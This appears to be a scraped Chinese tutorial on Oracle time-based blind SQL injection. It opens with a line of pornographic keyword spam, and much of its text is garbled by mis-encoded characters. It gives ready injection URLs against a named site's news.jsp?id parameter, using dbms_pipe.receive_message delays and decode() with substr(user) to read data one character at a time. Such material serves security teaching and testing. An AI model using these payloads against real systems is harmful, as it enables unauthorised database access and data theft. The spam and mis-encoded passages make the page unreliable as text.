日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

oracle 布尔盲注,Oracle基于延时的盲注总结

發(fā)布時間:2024/7/23 编程问答 46 豆豆
生活随笔 收集整理的這篇文章主要介紹了 oracle 布尔盲注,Oracle基于延时的盲注总结 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

0x00?前言

oracle注入中可以通過頁面響應的狀態(tài),這里指的是響應時間,通過這種方式判斷SQL是否被執(zhí)行的方式,便是時間盲注;

oracle的時間盲注通常使用DBMS_PIPE.RECEIVE_MESSAGE(),而另外一種便是decode()與高耗時SQL操作的組合,當然也可以是case,if 等方式與高耗時操作的組合,這里的高耗時操作指的是,例如:(select count(*) from all_objects),對數(shù)據(jù)庫中大量數(shù)據(jù)進行查詢或其他處理的操作,這樣的操作會耗費較多的時間,然后通過這個方式來獲取數(shù)據(jù)。這種方式也適用于其他數(shù)據(jù)庫。

0x01?DBMS_PIPE.RECEIVE_MESSAGE()函數(shù)延時盲注

DBMS_LOCK.SLEEP()函數(shù)可以讓一個過程休眠很多秒,但使用該函數(shù)存在許多限制。

首先,不能直接將該函數(shù)注入子查詢中,因為Oracle不支持堆疊查詢(stacked query)。其次,只有數(shù)據(jù)庫管理員才能使用DBMS_LOCK包。

在Oracle PL/SQL中有一種更好的辦法,可以使用下面的指令以內(nèi)聯(lián)方式注入延遲:

dbms_pipe.receive_message('RDS', 10)

DBMS_PIPE.RECEIVE_MESSAGE函數(shù)將為從RDS管道返回的數(shù)據(jù)等待10秒。默認情況下,允許以public權(quán)限執(zhí)行該包。DBMS_LOCK.SLEEP()與之相反,它是一個可以用在SQL語句中的函數(shù)。

延遲盲注中的應用:

http://www.jsporcle.com/news.jsp?id=-1 or 1= dbms_pipe.receive_message('RDS', 10)--http://www.jsporcle.com/news.jsp?id=1 and 1=dbms_pipe.receive_message('RDS', 10)--

如果頁面延時10秒返回,即存在注入。

來自官網(wǎng)的DBMS_PIPE.RECEIVE_MESSAGE語法:

DBMS_PIPE.RECEIVE_MESSAGE (

pipename? ???IN VARCHAR2,

timeout? ?? ?IN INTEGER? ?? ?DEFAULT maxwait)

RETURN INTEGER;

可以暫時理解成DBMS_PIPE.RECEIVE_MESSAGE('任意值',延遲時間)

0x02 decode函數(shù)延時盲注

decode不僅可以在布爾盲注中運用,也可以用在延遲盲注中。

在decode注入里加入延時語句。這里加入了我們的dbms_pipe.receive_message函數(shù)。

and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS',10),0) from dual) --http://www.jsporcle.com/news.jsp?id=1 and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS',5),0) from dual) --

當然,這里延遲的操作不一定用延遲函數(shù),也可以使用花費更多時間去查詢所有數(shù)據(jù)庫的條目。例如:

(select count(*) from all_objects)

http://www.jsporcle.com/news.jsp?id=1 and 1=(select decode(substr(user,1,1),'S',(select count(*) from all_objects),0) from dual) and '1'='1'

通過這種明顯時間差也能判斷注入表達式的結(jié)果。

總結(jié)

以上是生活随笔為你收集整理的oracle 布尔盲注,Oracle基于延时的盲注总结的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。